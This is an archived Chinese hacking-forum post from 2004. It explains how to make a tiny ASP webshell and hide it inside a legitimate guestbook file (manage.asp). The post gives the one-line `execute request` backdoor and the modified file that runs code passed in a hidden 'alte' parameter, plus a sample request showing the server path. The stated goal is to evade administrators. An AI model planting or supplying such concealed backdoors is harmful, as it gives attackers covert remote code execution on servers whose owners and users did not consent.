标题: 网页木马的合并 [打印本页]

---

作者: 让爱随缘    时间: 2004-6-21 00:54     标题: 网页木马的合并

现在通过asp来按个小木马也算是“天经地义”的事了。不错，海阳的马功能多，量又足，实惠~~不过比较大的身型又容易遭明言的管理员发现。有必要另外在弄些即小又隐蔽的方法。。。 随着动网7.0的洞爆发，小木马这个概念产生了。 <%if request("a")<>"" then execute request("a")%> ------------------------------------ 那把它合并到普通的ASP文件中，管理员们岂不是要傻掉？ 我选了个文件做例子。 在一个guestbook的manage.asp中插了一段。原文 --------------------- <% action=request("action") id=request("id") %> .....省略登陆框等内容。 ------------------------ 修改后 <%if request("alte")="" then%> <%action=request("action")%> <%id=request("id")%> <%else%> <%execute request("alte")%> <%end if%> 后面不动它..... ------------- 这样，提交 www.xxx.com/guestbook/manage.asp?alte=Response.Write server.mappath(Request.ServerVariables("SCRIPT_NAME")) --------------------------- 就出现了本文件绝对路径，写文件等语法也依次可跟上。

---

欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)

Powered by Discuz! 7.2